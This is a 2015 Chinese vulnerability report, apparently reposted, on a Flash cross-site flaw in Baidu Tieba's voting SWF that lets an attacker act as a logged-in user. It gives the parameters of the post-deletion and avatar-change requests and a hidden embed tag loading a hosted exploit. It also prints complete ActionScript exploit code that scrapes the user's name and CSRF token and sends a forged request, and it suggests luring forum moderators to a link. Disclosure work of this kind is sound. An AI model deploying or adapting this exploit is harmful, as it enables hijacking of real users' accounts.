百度贴吧XSS漏洞可控制已登录的贴吧账号(删帖、修改资料等)
2015-05-15 08:44
225 查看
flash 反射提权。原理 http://drops.wooyun.org/papers/5732,这次演示的是第3个Demo的方式。
详细说明:
### 原理问题 SWF:http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf
其中 baidu.vote.DataManager.requestPageData() 可以发请求。
请求地址没写死,从 baidu.vote.enumerate.Constants.URL_VOTE_DETAIL 读取。(这个程序猿也够弱的,居然是用 var 定义的。如果是 const 那还改不了)
每次请求前修改这个伪常量,就可发起跨站请求。
同时,数据返回时调用了 PostVoteResult.fromString(),其中使用 JSON 解码。之前文中介绍过,即使不是 JSON 格式的数据,也可以通过全局异常捕获,接住解码时的错误,从中获取页面信息。
### 利用
http://tieba.baidu.com/ 可获取登录的账号名。
http://tieba.baidu.com/home/profile?un={nick} 可获取 bdstoken、portrait
删帖:
POST http://tieba.baidu.com/f/commit/post/delete
tbs={页面中可获取}
kw={吧名}
tid={帖子 id}
user_name={nick}
pid={页面中可获取}
delete_my_post=1
delete_my_thread=0
is_vipdel=1
is_finf=false
修改头像
http://himg.baidu.com/sys/corpupload?callback=A&coordX=0&coordY=0&coordW=200&coordH=200&psign={portrait}&picId=21751076141&bdstoken={bdstoken}
...
贴吧大部分接口都没验证 referer,所有都能成功。
由于发帖需要验证码,搞成蠕虫有点麻烦。但控制了吧主账号的话,还是可以通过 HTTP 隧道的方式,人工发帖。(给吧主发个超链接,里面放些有趣的东西,让他多停留一会)
漏洞证明:
这里给个自动修改百度用户头像的 Demo:http://www.etherdream.com/hack/tieba-joke/exp.swf
直接访问,或嵌套在任意页面:
<embed src="//t.cn/RAY0j61" allowScriptAccess="always" style="position:absolute; top:-999px;">
即可修改已登录的百度账号头像。
code 区域
package { import flash.display.*; import flash.events.*; import flash.net.*; import flash.system.*; import flash.utils.*; public class exp extends Sprite { private static const PATH:String = 'baidu.vote.DataManager' private static const URL:String = 'http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf' private var clsExp:*; private var clsRes:*; public function exp() { Security.allowDomain('*'); var ld:Loader = new Loader(); ld.load(new URLRequest(URL)); addChild(ld); var tid:uint = setInterval(function() : void { try { clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH); clsRes= ld.contentLoaderInfo.applicationDomain.getDefinition('baidu.vote.enumerate.Constants'); } catch(e:Error) { return; } clearInterval(tid); ready(); }, 100); } private function load(url:String) : void { var obj:* = clsExp.getInstance(); obj.requestPageData({ 'r': 1, 'voteId': 1, 'tn': 1 }); clsRes.URL_VOTE_DETAIL = url + '#'; obj.requestVoteDetail(); } private function ready() : void { loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void { complete(e.error.text); }); load('http://tieba.baidu.com/'); } private var stat:int = 0; private var nick:String; private var bdstoken:String, portrait:String; private function complete(data:String) : void { var arr:Array; switch (stat) { case 0: // get nick (from main page) arr = data.match(/"name": "([^"]+)/); if (arr) nick = arr[1]; if (!nick) { trace('fail get nick'); return; } trace('nick:', nick); load('http://tieba.baidu.com/home/profile?un=' + nick); break; case 1: // get token (from profile page) arr = data.match(/\[PageData, '([^']+)/); if (arr) bdstoken = arr[1]; if (!bdstoken) { trace('fail get bdstoken'); return; } trace('bdstoken:', bdstoken); // get portrait arr = data.match(/portrait": "([^"]+)/); if (arr) portrait = arr[1]; if (!portrait) { trace('fail get portrait'); return; } trace('portrait:', portrait); // new avatar var url:String = 'http://himg.baidu.com/sys/corpupload?callback=A&coordX=0&coordY=0&coordW=200&coordH=200&psign=' + portrait + '&picId=21751076141&bdstoken=' + bdstoken; sendToURL(new URLRequest(url)); break; } stat++; } } }
相关文章推荐
- 漏洞CSRF修改个人资料和编辑器存储型xss漏洞
- android注册 登录+修改帐号密码+添加资料+给指定帐号充值
- Linux修改账号密码登录以及免账号密码登录
- vsftpd 修改root账号不能登录 linux
- 利用xss漏洞窃取cookie登录
- 在管理员页面修改资料和密码需要重新登录的问题
- 云来储存型XSS漏洞+越权修改应用封面
- 关于“账号登录”&“账号注册”&“修改密码”通用的测试用例
- android注册 登录 修改帐号密码 添加资料 给新注册用户充值DEMO
- php使用session来控制仅有一个账号登录应用
- android注册 登录+修改帐号密码+添加资料+给指定帐号充值
- 苹果开发者账号Apple ID如何进行资料修改?
- [资料]在PB中如何控制DATAWINDOW列的修改属性
- 微软发布最新补丁,修改VS2005可能被他人完全控制的漏洞.
- eclipse 中main()函数中的String[] args如何使用?通过String[] args验证账号密码的登录类?静态的主方法怎样才能调用非static的方法——通过生成对象?在类中制作一个方法——能够修改对象的属性值?
- Android高效率编码-第三方SDK详解系列(二)——Bmob后端云开发,实现登录注册,更改资料,修改密码,邮箱验证,上传,下载,推送消息,缩略图加载等功能
- 数据库修改密码多种方法及设置远程登录账号
- Odoo8.0根据资料的条件来控制画面上的修改按钮显示
- 微软发布最新补丁,修改VS2005可能被他人完全控制的漏洞
- Android高效率编码-第三方SDK详解系列(二)——Bmob后端云开发,实现登录注册,更改资料,修改密码,邮箱验证,上传,下载,推送消息,缩略图加载等功能